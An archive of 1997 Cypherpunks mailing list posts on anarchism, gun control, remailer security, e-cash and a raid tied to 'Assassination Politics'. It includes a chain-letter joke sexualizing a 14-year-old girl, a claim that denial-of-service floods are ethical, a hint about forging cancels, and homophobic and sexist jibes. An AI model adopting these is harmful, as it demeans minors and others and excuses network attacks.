http://songbird.com/kent/pgp_key.html






From stewarts at ix.netcom.com  Fri May 16 09:10:04 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Sat, 17 May 1997 00:10:04 +0800
Subject: The Inducement of Rabid Anarchism in Certain Materialists...
In-Reply-To: <19970514112959.12839@bywater.songbird.com>
Message-ID: <3.0.1.32.19970515211039.005f2e68@popd.ix.netcom.com>


>> > That's not *my* definition, it's *the* definition, as described in a
>> > standard, reputable dictionary.  I realize that you have your own 
>> > private definition of the term, that you share with your friends and 
>> > an esoteric community.  

Sigh.  Calling something "*the* definition" of anarchy, when it's not
the definition anarchists use, doesn't cut it.  I realize that 
statists have convinced lots of people that "anarchy" means
"a bunch of bomb-throwing terrorists are going to run down the street
and kill your mama", but that's because they want to be in charge -
or at least have SOMEBODY be in charge, since they don't trust people
to act civilized without rulers who'll kill them if they don't behave. 

Whether you think anarchism *will* lead to bomb-throwing terrorists,
or in general whether it's a good or bad idea, is a separate argument.
But anarchists _ought_ to own the definition.  (Now, if you want to
split the anarchists by bringing up the propertarian vs. non-propertarian
issue and discuss whether "no property" is part of the definition
of anarchy or only a popular anarchist view, you'll end up with chaos (:-)
Around here you'll find mostly arachno-capitalists who think that
property is just fine, though not everyone agrees.
Over on soc.culture.anarchism, you'll find a lot more non-propertarians,
and an on-going squabble about Libertarianism.

One of your more interesting comments was on whether you can separate
the concepts of society and government - a fairly common view of 
government is that it needs to have a monopoly on the use of force to
preserve order, and therefore needs to have tax funding to exist,
and since you've got it around anyway you might as well use it for
things that are easiest to do in a centralized manner, and to do
things that require either social cooperation or lots of money;
a society like that will find government intertwined in its civil affairs,
and people will get out of the habit of organizing their own actions
without using government as a focus.  Other societies have used 
religious organizations to perform many of the same social functions -
if everybody's getting together weekly anyway, might as well talk about
the problems that have been going on, and raise the money needed to
feed the poor and patch the meetinghouse roof.  And other societies
have just done these things on a more individual basis, especially
in sparsely populated areas where there aren't outside invaders.
Of course, now that governments have taken over most of the world,
it's hard to find a place without outside invaders...

But people are still going to teach their kids what they need,
and people are still going to keep most of their agreements with
their neighbors, and they're still going to help each other resolve
arguments about the agreements that weren't kept, whether that
resolution is done by an armed posse, or by the offender's family
paying off the obligation in cattle, or by shunning people until they
do the right thing, or refusing to give credit to known deadbeats,
or whatever.  Government's only one choice.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From frissell at panix.com  Fri May 16 09:14:57 1997
From: frissell at panix.com (Duncan Frissell)
Date: Sat, 17 May 1997 00:14:57 +0800
Subject: Dan White & Feinstein
In-Reply-To: <19970515002241.20918@bywater.songbird.com>
Message-ID: <3.0.1.32.19970516110732.02653dd4@panix.com>


-----BEGIN PGP SIGNED MESSAGE-----

>Dan White committed suicide, after a while.  He probably died sooner than
>the state could have killed him, with appeals and all.  Anyway, Feinstein
>has had a fair amount of first hand experience with gun violence -- more
>than most people on this list.  Her stand on gun control is probably the
>most principled and honest one she has made.

Dan White, San Francisco Supervisor and killer of Mayor Moscone and Harvey
Milk (1978) committed suicide after he had been released from serving his 5
years and 2 months maximum sentence for manslaughter.  (Depression which made
him incapable of forming the specific intent required to be guilty of
murder.)  Feinstein had been a friend of his when he was on the Board of
Supes and it is possible that one of the reasons he lost it during the crisis
over his resignation and attempt to get back on the Board was because
Feinstein was in Nepal on her honeymoon (millionaire second husband) and
wasn't there to support him. 

[I may be partially to blame as well.  I was living in Dan White's district
(the oppressed white working class part of SF) at the time of his original
election.  He dropped by the house and solicited my vote.  I voted for him,
in fact.  And he certainly turned out to be a supporter of the revolutionary
aspirations of his community.  The least disappointing politician I ever
voted for.]

Feinstein want to grab your guns because she is an authoritarian.  Not
because of any particular experiences she's had with guns.  She has shown
equal contempt for the First Amendment and the Second.  She's ma woman and a
commie liberal.  What can one expect.

While mayor of San Francisco, she indulged in a number of famous suppressions
of free speech:

1)  She cancelled the appearance of the Turkish Folklorico Ballet because of
demonstration threats from the (no longer starving) Armenians.

2)  She tried to ban the showing of whatever that dumb New York gang movie
was after a stabbing at one of the theaters showing it.

3)  She pressured a clothing store to pull its billboard ad campaign
"Feinstyle" which featured a (fully clothed) reclining, look-alike model
wearing her sort of scarf and business attire.

Her current humorous attempt to ban "bomb plans" from the Net is just part of
the pattern.  [Humorous because such bans went out the door with Gutenberg
about 500 years ago.]

Her administration also attempted to ban handgun sales in San Franciso but
because California gun nuts had long ago enacted one of the state preemption
laws that the NRA used to push, the courts threw her ban out.  [These laws
say that only the state government can regulate guns.]

If I were her, I'd probably "fear the revolutionary justice of the people" as
well.  [If you've ever seen film of these female congresscritters brandishing
assault rifles at a dog and pony show where they are supposed to examine
these "weapons of war", you'd certainly agree that *they* shouldn't be
allowed to handle guns.]

DCF

 
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From frissell at panix.com  Fri May 16 09:26:20 1997
From: frissell at panix.com (Duncan Frissell)
Date: Sat, 17 May 1997 00:26:20 +0800
Subject: The Inducement of Rapid Oxidation of Certain Materials....
In-Reply-To: <19970514142758.42227@bywater.songbird.com>
Message-ID: <3.0.1.32.19970516120309.006b1f90@panix.com>


-----BEGIN PGP SIGNED MESSAGE-----

>The topic at hand was "Do governments kill more than individuals?".
>Bringing Rawanda up as a counter-example to government and calling it an
>anarchy is kind of dishonest, don't you think?  

Kent should try and read up a little.  The slaughter in Rawanda started when
the government radio stations began broadcasting orders for tribal members to
come by and pick up their government-purchased machetes and get out there and
start hacking.  It was a classic government ordered slaughter.

Rawanda was small potatoes by historical standards, however.

For the actual numbers of the major government murders see

http://www.laissezfaire.org/pl6300.html

DEATH BY GOVERNMENT
by R.J. Rummel
(Transaction Books, 1994)

Contents: 

I. Background
The New Concept of Democide, 31.
Over 133,147,000 Murdered: Pre-Twentieth-Century Democide, 45. 

II. 128,168,000 Victims: The DekaMegaMurderers
61,911,000 Murdered: The Soviet Gulag State, 79.
35,236,000 Murdered: The Communist Chinese Anthill, 91.
20,946,000 Murdered: The Nazi Genocide State, 111.
10,214,000 Murdered: The Depraved Nationalist Regimes, 123. 

III. 19,178,000 Victims: The Lesser MegaMurderers
5,964,000 Murdered: Japan's Savage Military, 143.
2,035,000 Murdered: The Hell State: Cambodia Under the Khmer Rouge, 159.
1,883,000 Murdered: Turkey's Genocidal Purges, 209.
1,670,000 Murdered: The Vietnamese War State, 241.
1,585,000 Murdered: Poland's Ethnic Cleansing, 297.
1,503,000 Murdered: The Pakistani Cutthroat State, 315.
1,072,000 Murdered: Tito's Slaughterhouse, 339. 

IV 4,145,000 Victims: The Suspected MegaMurderers
1,663,000 Murdered? Orwellian North Korea, 365.
1,417,000 Murdered? Barbarous Mexico, 381.
1,066,000 Murdered? Feudal Russia, 397. 

DCF
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From nobody at squirrel.owl.de  Fri May 16 09:48:34 1997
From: nobody at squirrel.owl.de (Secret Squirrel)
Date: Sat, 17 May 1997 00:48:34 +0800
Subject: your mail
Message-ID: <19970516161608.25960.qmail@squirrel.owl.de>


Subject: "Liten rolig historia (fwd)" (fwd)


Nothing wrong in being superstitious...

 > > READ THIS MESSAGE AND PASS IT ON....
 > > A man takes the day off work and decides to go out golfing.  He is
 > > on the second hole when he notices a frog sitting next to the green.
 > > He  thinks nothing of it and is about to shoot when he hears,
 > > "Ribbit. 9 Iron"  The man looks around and doesn't see anyone.
 > > "Ribbit. 9 Iron." He looks at  the frog and decides to prove the
 > > frog wrong, puts his other club away, and  grabs a 9 iron. Boom! he
 > > hits it 10 inches from the cup. He is shocked. He  says to the frog,
 > > "Wow that's amazing. You must be a lucky frog, eh?" The frog reply's
 > > "Ribbit. Lucky frog." The man decides  to take the frog with him to
 > > the next hole. "What do you think frog?" the  man asks. "Ribbit. 3
 > > wood."  The guy takes out a 3 wood and Boom! Hole in one. The man is
 > > befuddled and doesn't know what to say. By the end of the day, the
 > > man golfed the best game of golf in his life and asks the frog,"OK
 > > where to next?" The frog replied, "Ribbit. Las Vegas." They go to
 > > Las Vegas and the guy says, "OK frog, now what?"  The frog says,
 > > "Ribbit Roulette." Upon approaching the roulette table, the man
 > > asks," What do you think I should bet?" The frog replies, "Ribbit.
 > > $3000,black 6." Now, this is a million-to-one shot to win, but after
 > > the golf game, the man figures what the heck. Boom! Tons of cash
 > > comes sliding back across the table. The man takes his winnings and
 > > buys the best room in the hotel.  He sits the frog down and says,
 > > "Frog, I don't know how to repay you.  You've won me all this  money
 > > and I am forever grateful." The frog replies, "Ribbit, Kiss Me." He
 > > figures why not, since after all the frog did for him he deserves
 > > it. With a  kiss, the frog turns into a gorgeous 14-year-old girl.
 > > "And that, your honor, is how the girl ended up in my room."
 > >
 > > The origination of this letter is unknown, but it  brings good
 > > luck to everyone who passes it on.  The one who breaks the chain
 > > will have bad luck.  Do not keep this letter.  Do not send money.
 > > Just forward it to five of your friends to whom you wish good luck.
 > > You will see that something good happens to you four days from now
 > > if the chain is not broken.  You will receive good luck in four
 > > days.










From kent at songbird.com  Fri May 16 09:56:03 1997
From: kent at songbird.com (Kent Crispin)
Date: Sat, 17 May 1997 00:56:03 +0800
Subject: Anonymous Remailers
In-Reply-To: <19970515192926.34411@bywater.songbird.com>
Message-ID: <19970516091303.36502@bywater.songbird.com>


	On Fri, May 16, 1997 at 10:27:19AM +0100, Adam Back wrote:
> 
> Kent Crispin  writes:
> > [about remailers]
> > Hmm.  I did read, and I thought I understood this.  I claim that if
> > the remailers collude, then there in no anonymity.  Correct? Even if I
> > insert my own remailer in the list it doesn't help, if the others are
> > all in cahoots.  This seems pretty obvious.  They all compare logs, 
> > and saved copies of the messages, and my message can be tracked from 
> > beginning to end.  Right?
> 
> Not entirely.
> 
> If other people use your remailer also, and you have latency, they'll
> see n messages going into your remailer, and n come out.  There will
> be log2(n) entropy added, they won't know which of those are from you
> and which from the other users.
> 
> Flooding attacks might make the situation worse, say you wonder if all
> of the messages apart from your own are from the attackers, and that
> the purpose of these messages is to flush your message out of the
> mixing pool.

And of course, in some environments running a remailer would be highly 
suspicious -- even more so if it is a *public* remailer.

-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html






From nobody at hidden.net  Fri May 16 09:56:10 1997
From: nobody at hidden.net (Anonymous)
Date: Sat, 17 May 1997 00:56:10 +0800
Subject: your mail
Message-ID: <199705161623.JAA20657@jefferson.hidden.net>


Subject: "Liten rolig historia (fwd)" (fwd)


Nothing wrong in being superstitious...

 > > READ THIS MESSAGE AND PASS IT ON....
 > > A man takes the day off work and decides to go out golfing.  He is
 > > on the second hole when he notices a frog sitting next to the green.
 > > He  thinks nothing of it and is about to shoot when he hears,
 > > "Ribbit. 9 Iron"  The man looks around and doesn't see anyone.
 > > "Ribbit. 9 Iron." He looks at  the frog and decides to prove the
 > > frog wrong, puts his other club away, and  grabs a 9 iron. Boom! he
 > > hits it 10 inches from the cup. He is shocked. He  says to the frog,
 > > "Wow that's amazing. You must be a lucky frog, eh?" The frog reply's
 > > "Ribbit. Lucky frog." The man decides  to take the frog with him to
 > > the next hole. "What do you think frog?" the  man asks. "Ribbit. 3
 > > wood."  The guy takes out a 3 wood and Boom! Hole in one. The man is
 > > befuddled and doesn't know what to say. By the end of the day, the
 > > man golfed the best game of golf in his life and asks the frog,"OK
 > > where to next?" The frog replied, "Ribbit. Las Vegas." They go to
 > > Las Vegas and the guy says, "OK frog, now what?"  The frog says,
 > > "Ribbit Roulette." Upon approaching the roulette table, the man
 > > asks," What do you think I should bet?" The frog replies, "Ribbit.
 > > $3000,black 6." Now, this is a million-to-one shot to win, but after
 > > the golf game, the man figures what the heck. Boom! Tons of cash
 > > comes sliding back across the table. The man takes his winnings and
 > > buys the best room in the hotel.  He sits the frog down and says,
 > > "Frog, I don't know how to repay you.  You've won me all this  money
 > > and I am forever grateful." The frog replies, "Ribbit, Kiss Me." He
 > > figures why not, since after all the frog did for him he deserves
 > > it. With a  kiss, the frog turns into a gorgeous 14-year-old girl.
 > > "And that, your honor, is how the girl ended up in my room."
 > >
 > > The origination of this letter is unknown, but it  brings good
 > > luck to everyone who passes it on.  The one who breaks the chain
 > > will have bad luck.  Do not keep this letter.  Do not send money.
 > > Just forward it to five of your friends to whom you wish good luck.
 > > You will see that something good happens to you four days from now
 > > if the chain is not broken.  You will receive good luck in four
 > > days.










From tcmay at got.net  Fri May 16 10:57:36 1997
From: tcmay at got.net (Tim May)
Date: Sat, 17 May 1997 01:57:36 +0800
Subject: Disinformation from folks like Kent on this list
In-Reply-To: <199705151347.JAA18147@bksmp2.FRB.GOV>
Message-ID: 


At 8:03 AM -0800 5/16/97, Duncan Frissell wrote:

>Kent should try and read up a little.  The slaughter in Rawanda started when
>the government radio stations began broadcasting orders for tribal members to
>come by and pick up their government-purchased machetes and get out there and
>start hacking.  It was a classic government ordered slaughter.
...

The problem I have with Kent is _not_ that he works for LLNL, and not even
that he has charitable things to say about mandated key recovery systems.
After all, others here on this list also work for the government (including
The Real Government (tm), the Federal Reserve). And so on.

No, what I find so irksome about Kent is his obdurate unwillingness to
bother to learn whereof he speaks:

- unawareness of the situation in Rwanda, though he cites it as an example
of why "anarchy leads to mass killings."

- he cites hackneyed Webster's definitions of "anarchy" to make some point,
then objects that others are relying too much on definitions when they
refute him.

- he claims remailer networks are insecure without apparently having
comprehended how chained remailers work and without apparently even
glancing at the 1981 Chaum paper or the followup papers on DC-Nets (which
discuss collusion sets in great detail).

- he proudly admits to not having looked at past archives, nor I presume at
the large file I generated a few years ago (Cyphernomicon), covering many
of the issues he keeps raising.

- he claims his flavor of "key recovery" is demanded by corporations, but
seems unwilling to then just let corporations do as they wish in this
regard (if corporations really want it, they'll get it...but not in the GAK
form the government is insisting it be in). He also cites key recovery as a
middle ground in the war on crypto, thus implying (counter to his claimed
support of voluntary systems) key recovery will not be voluntary.

(Speaking as an info-terrorist who sees strong crypto as a tool for
triggering the eventual collapse of governments and dispenser of justice to
the criminal rulers, I certainly won't be "volunteering" to use any key
recovery tools, leastwise none that put the key in any subpoenable
repository. Maybe key recovery with my lawyer, outside the U.S., but not in
any Netscape's Trusted Key Suppository.)

And so on.

I've taken to sometimes responding to him, but usually not. Nothing
delights me more than seeing some long rambling criticism of us, and our
work, and then deleting it.

Kent is just one of several folks who've discovered this list, share none
of its core values, and seeks to disrupt it with innuendos, spam, insults,
and disinformation.

Kent, please go away.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From alano at teleport.com  Fri May 16 11:08:13 1997
From: alano at teleport.com (Alan)
Date: Sat, 17 May 1997 02:08:13 +0800
Subject: Another Bell related raid
Message-ID: 


This is from the Oregonian May 16th, 1997 page B3 under the Vancouver
section.

2nd home raided in probe of anti-government activities

A team of federal agents, led by IRS internal security personnel, raided a
home at 711 W. 20th St. Thursday morning.

The raid apperently is a continuation of an investigation into the
activities of James D. Bell, whose McLaughlin Heights home at 7214
Corregidor Road was raided April 1st.

The 20th Street home is occupied by Robert W. West, who was not home when
the raid occured.

A federal agent who answered his phone during the search refused to say
what the agents were seeking.

The search warrent application and affidavit is under seal by a federal
court in Tacoma.

In the affidavit for the search warrent for Bell's home, IRS Special
Investigator Jeff Gordon alledged that Bell was "directly solicting others
to set up a system to murder government officials."

Bell is the author of a 10-part essay called "Assassination Politics,"
which has been widely circulated on the Internet, particularly in
anti-government forums.

After the raid, agents made no other public statements.







From paul at fatmans.demon.co.uk  Fri May 16 11:14:56 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Sat, 17 May 1997 02:14:56 +0800
Subject: Spam IS Free Speech
In-Reply-To: <199705150640.XAA07531@adnetsol.adnetsol.com>
Message-ID: 




> > > You can not retaliate against free
> > > speech, Rick.  That's a bad thing, plain and simple, black and
> > > white.

Retaliation by force against speech is wrong, more speech is not 
unethical. It might be unpleasant, but not wrong.

> No shit, you just can't send 10,000 megs of info in retaliation for a 
> few bits.  Really, there's no call for that.  It's wrong. 

To make a brief analogy: Say you are a market researcher, and you 
approach me in the street and ask for some time to answer your questions, 
I do not commit any ethical wrongdoing if I stand there and scream at you 
for several minutes. If I physically attack you I commit a crime. 

All internet traffic is speech, including syn-ack flood attacks and any 
other denial of service attempt. This is plain and simple, we have to 
find technological means of thwarting these attacks, they are not 
unethical, unpleasant yes, immoral no. 

> >   It costs me money to download unwanted spam. What's this "free"
> > bullshit?
> 
> What?  Like 80 cents per gig?  Please a bit here and a byte there 
> isn't going to break anyone.  Could someone do the math?

I won`t do the math but the point is it "costs" you energy to listen to 
someone speaking in the street, sure, it is a very small amount, but it 
does cost energy from a strict biological point of view.
This does not lead me to believe any crime is commited by someone 
speaking to, or at me.

I shaln`t repeat myself any further, no speech is a crime.

        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"







From nobody at hidden.net  Fri May 16 11:19:09 1997
From: nobody at hidden.net (Anonymous)
Date: Sat, 17 May 1997 02:19:09 +0800
Subject: your mail
Message-ID: <199705161633.JAA20790@jefferson.hidden.net>


Subject: "Liten rolig historia (fwd)" (fwd)


Nothing wrong in being superstitious...

 > > READ THIS MESSAGE AND PASS IT ON....
 > > A man takes the day off work and decides to go out golfing.  He is
 > > on the second hole when he notices a frog sitting next to the green.
 > > He  thinks nothing of it and is about to shoot when he hears,
 > > "Ribbit. 9 Iron"  The man looks around and doesn't see anyone.
 > > "Ribbit. 9 Iron." He looks at  the frog and decides to prove the
 > > frog wrong, puts his other club away, and  grabs a 9 iron. Boom! he
 > > hits it 10 inches from the cup. He is shocked. He  says to the frog,
 > > "Wow that's amazing. You must be a lucky frog, eh?" The frog reply's
 > > "Ribbit. Lucky frog." The man decides  to take the frog with him to
 > > the next hole. "What do you think frog?" the  man asks. "Ribbit. 3
 > > wood."  The guy takes out a 3 wood and Boom! Hole in one. The man is
 > > befuddled and doesn't know what to say. By the end of the day, the
 > > man golfed the best game of golf in his life and asks the frog,"OK
 > > where to next?" The frog replied, "Ribbit. Las Vegas." They go to
 > > Las Vegas and the guy says, "OK frog, now what?"  The frog says,
 > > "Ribbit Roulette." Upon approaching the roulette table, the man
 > > asks," What do you think I should bet?" The frog replies, "Ribbit.
 > > $3000,black 6." Now, this is a million-to-one shot to win, but after
 > > the golf game, the man figures what the heck. Boom! Tons of cash
 > > comes sliding back across the table. The man takes his winnings and
 > > buys the best room in the hotel.  He sits the frog down and says,
 > > "Frog, I don't know how to repay you.  You've won me all this  money
 > > and I am forever grateful." The frog replies, "Ribbit, Kiss Me." He
 > > figures why not, since after all the frog did for him he deserves
 > > it. With a  kiss, the frog turns into a gorgeous 14-year-old girl.
 > > "And that, your honor, is how the girl ended up in my room."
 > >
 > > The origination of this letter is unknown, but it  brings good
 > > luck to everyone who passes it on.  The one who breaks the chain
 > > will have bad luck.  Do not keep this letter.  Do not send money.
 > > Just forward it to five of your friends to whom you wish good luck.
 > > You will see that something good happens to you four days from now
 > > if the chain is not broken.  You will receive good luck in four
 > > days.










From tcmay at got.net  Fri May 16 11:21:27 1997
From: tcmay at got.net (Tim May)
Date: Sat, 17 May 1997 02:21:27 +0800
Subject: Total Paranoids Don't Need Cryptography
In-Reply-To: <19970515192926.34411@bywater.songbird.com>
Message-ID: 



May's Second Law of Paranoia: If everyone is out to get you, cryptography
is pointless.

May's Lemma for Remailers: If they are out to get you, and all remailers
are colluding to help get you, then remailers are worthless.


The recent "criticism" of remailers by Kent Crispin is just a manifestation
of these obvious points. Truly, if everyone outside of some agent, Albert,
is colluding with each other, then simple comparisons of what they've sent
to each other must leave what Albert has sent.

(There is still a minor use of cryptography in terms of encrypting diaries,
or records on a machine, for example, even in a world in which they are all
to get one.)

The more interesting issues are the tradeoffs between sizes of collusion
sets, the partitioning of the graphs into collusion sets, and estimates of
remailer entropy in the presence of varying amounts of collusion, low
latency/mixing, etc.

Many of us have of course argued for years that more detailed studies are
needed...Kent observing that if all remailers are colluding one gets fewer
(or no) benefits is hardly original or profound. Cf. the discussions of
collusion by Chaum, Birgit Pfitzman (Eurocrypt, I think in 1989), Hal
Finney, Wei Dai, myself, and others.

"All cryptography is economics." (Eric Hughes)

All remailer security is about economics, about how many colluders are out
there, about the incentives and disincentives they feel to collude (*), etc.

(* Any remailer who seeks to collude will quite quickly become known to
other remailers as a colluder. I think a fairly stable equilibrium is for
nearly all remailers to refuse to collude on general principles, and only
collude in extreme circumstances.)

If critics of remailers like Kent will not even bother to think deeply
about these issues, with some back of the envelope calculations, and with
some perusal of the main papers and articles in the area, I fail to see why
we should take his points with any degree of seriousness.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From dlv at bwalk.dm.com  Fri May 16 11:24:13 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 17 May 1997 02:24:13 +0800
Subject: eternity-lite & cancel msgs
In-Reply-To: <199705160845.JAA00241@server.test.net>
Message-ID: 


Adam Back  writes:

> One issue with the system is that censors will issue cancel messages
> for the articles.  Not too much which can be done about this.  Some
> trends tend to help this problem:

The vast majority of cancels in the "control" newsgroup are the so-called
"third party cancels" (a.k.a. forgeries).

In the U.S. many major ISPs like America Online and Earthlink are ignoring
cancels outright.  It's easy - start the latest version of INN with the
-C flag, or apply Dave Hayes's patches at http://www.jetcafe.org/~dave/usenet.

> Cancel message abuse by people running cancel bots reflecting their
> censorous views have resulted in some sites ignoring cancel messages.

Quite a few, I might add.  The only reason why Demon processes cancels is
that Ade Lovett is a homosexual who wants to be able to censor "homophobic"
Usenet articles. :-)

Forging cancels is easy -- see the cancelbot I posted last year.

> Another aspect of the system is that it relies on news archival
> services such as dejanews and altavista; these presumably don't listen
> to cancel messages for already archived data (? guessing here).  The
> archive maintainers presumably don't want to get involved in disputes
> over which old articles should be purged from their archive anyway.

Correct: none of the 3 major archival services (dejanews, altavista,
reference.com) delte articles based on cancel or supersedes once they
receive them.

However an author can explicitly ask dejanews to delete his articles.

All 3 now don't archive articles that say 'X-No-Archive: yes'.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From paul at fatmans.demon.co.uk  Fri May 16 11:24:17 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Sat, 17 May 1997 02:24:17 +0800
Subject: TEXTO - Text steganography
In-Reply-To: <199705160908.CAA03291@fat.doobie.com>
Message-ID: 



>    Texto text files look like something between mad libs and bad poetry,
> (although they do sometimes contain deep cosmic truths) and should be
> close
> enough to normal english to get past simple-minded mail scanners and to
> entertain readers of talk.bizarre.
> -------------
> 
>   Perhaphs this explains why, when I tried it, it signed Paul Bradley's
> name to the output.

Mr. Nobody,

This message justified the fact that I do not have a killfile deleting 
remailer messages at present. ROFL.

BTW Kent, I thought you never used remailers... ;-)

        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"








From nobody at huge.cajones.com  Fri May 16 11:25:55 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Sat, 17 May 1997 02:25:55 +0800
Subject: New Canadian Techno Law
Message-ID: <199705161704.KAA18293@fat.doobie.com>


>From RCMP Web Site: http://www.rcmp-grc.gc.ca/

Late last year, Allan Rock, minister of justice, introduced a bill
containing nearly 150 proposed
amendments to the Criminal Code and related statutes. Highlights of Bill
C-17 include several
changes to address computer crime, credit card forgery and fraud and
fraudulently obtaining
services. The RCMP, supported strongly by the Canadian Bankers
Association and the Canadian
issuers of Visa and MasterCard, had previously urged a number of changes
to offences dealing with
credit card fraud and computer-assisted crimes. 

Bill C-17 is presently before Parliament and is in the second reading
stage. The following legislative
proposals will be of interest to law enforcement agencies and to our
private and public sector
partners engaged in the detection, investigation, and prosecution of
technological crime:

     Expanding section 183 of the Criminal Code to include new offences
for which an
     authorization to intercept private communication could be granted.
The new offences
     would include, inter alia, section 327, section 342, section 342.1,
section 342.2, and
     section 430 of the Criminal Code. 
     Amending section 342 to make possession, use, or trafficking of
forged credit cards
     an offence. 
     Amending section 342 to make the misuse of credit card data an
offence. 
     Amending section 342 to make it an offence to make, buy or sell,
export or import,
     or possess equipment intended for use in forging credit cards. 
     Amending section 342.1 to make it an offence to use, possess, or
traffick in
     computer passwords that would enable another person to fraudulently
obtain a
     computer service. 
     Creating section 342.2 to make it an offence to make, possess,
sell, offer for sale, or
     distribute any instrument or device that is intended to be used to
fraudulently obtain
     a computer service. 
     Amending section 487 to impose a duty on the person in possession
or control of a
     computer system to provide data in the form of a print-out or other
intelligible output
     when a lawful search of such a facility is being conducted.

Technological Crime Section is optimistic that the proposed amendments,
once passed into law, will
significantly aid its efforts in dealing with this rapidly emerging and
sometimes very troublesome
genre of crimes.

 For further information and updates on the progress of this bill,
readers are encouraged to
       consult the Department of Justice Homepage at:
http://canada.justice.gc.ca.






From rah at shipwright.com  Fri May 16 11:27:50 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Sat, 17 May 1997 02:27:50 +0800
Subject: BofA / Visa to test Cash Online
Message-ID: 



--- begin forwarded text


Sender: e$@thumper.vmeng.com
Reply-To: "R. Jason Cronk" 
Mime-Version: 1.0
Precedence: Bulk
Date:  Thu, 15 May 1997 12:42:56 -0400
From: "R. Jason Cronk" 
To: Multiple recipients of 
Subject:  BofA / Visa to test Cash Online

Bank of America, Visa To Test Cash Online

****Bank of America, Visa To Test Cash Online 05/15/97 SAN FRANCISCO,
CALIFORNIA, U.S.A., 1997 MAY 15 (NB) -- By Bill Pietrucha. Virtual cash -
backed by the real stuff, of course- is coming to the Internet. Bank of
America and Visa International said they will conduct a pilot test
ofstored-value chip card transaction on the Internet this summer,
essentially giving consumers and merchants an online equivalent to cash and
coins for small purchases.


http://www.nbnn.com/8.html


----------
The e$ lists are brought to you by:

Intertrader Ltd:                "Digital Money Online"


Where people, networks and money come together: Consult Hyperion
http://www.hyperion.co.uk                    info at hyperion.co.uk

Like e$? Help pay for it! 
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--- end forwarded text



-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/







From shamrock at netcom.com  Fri May 16 11:28:08 1997
From: shamrock at netcom.com (Lucky Green)
Date: Sat, 17 May 1997 02:28:08 +0800
Subject: Anonymous Remailers
Message-ID: <3.0.32.19970516110435.00736b80@netcom13.netcom.com>


At 11:39 PM 5/15/97 CST, TruthMonger wrote:
>Tim May wrote:
>
>> Further, a clever little fix is to make one's own remailer site a link in
>> the chain. All a snooping subset of remailers can do is trace the message
>> back to your own remailers. Obviously, they can't know if the message was
>> merely _remailed_ through your site, or _originated_ there. Thus, including
>> oneself as a remailer also provides excellent plausible deniability.)
>
>  This is a lame idea with no merit whatsoever.

Since Tim's statement describes today's standard practice for increasing
security for one's remailed messages, perhaps TruthMonger would like to
explain why it has no merit. But then again, TruthMonger = Infowar. Guess
we won't see an explanation that has merit.





-- Lucky Green  PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi






From tzeruch at ceddec.com  Fri May 16 11:38:24 1997
From: tzeruch at ceddec.com (tzeruch at ceddec.com)
Date: Sat, 17 May 1997 02:38:24 +0800
Subject: Civil Disobediance
In-Reply-To: <199705150652.XAA21425@fat.doobie.com>
Message-ID: <97May16.142233edt.32257-1@brickwall.ceddec.com>


On Thu, 15 May 1997, Huge Cajones Remailer wrote:

> "All that matters is how we die: shall we offer our bodies helplessly,
> like cattle, to the knife, or, refusing passively to await the end
> shall we turn the strength of our anger to one last battle, til,
> daring and doing, we fall, drenched with their blood, amongst the
> heaped bodies and weapons of our dying enemies?"  -- Livy Book XXV

They couldn't move with their wealth out of the way, so the alternatives
were limited.

> We've seen many sentiments like this one on the list lately.  Such
> sentiments are understandable and have a certain visceral appeal.  And
> it is good that people who are thinking along these lines are also
> telling their friends on the list instead of censoring themselves.
> 
> But, these strategies are not the best we can choose to achieve our
> true goals.  Few of us wish to be martyrs.

I worry about the government about the same as I worry about the people
who will be the barbarians when the government fails (or those who already
are ignoring government - There are some locations I have a risk of being
shot if I go).  If government has any purpose, it is to protect me from
barbarians, which is something they are failing at.  If they can't or
won't do so, why do I need government?

The internet causes data to flow like water - eventually going around any
obstacle.  If you close off a dam completely, it will eventually overflow.
And things like titles and money are more like data than physical objects.

In a few years, the government will be fighting against obsolecense and
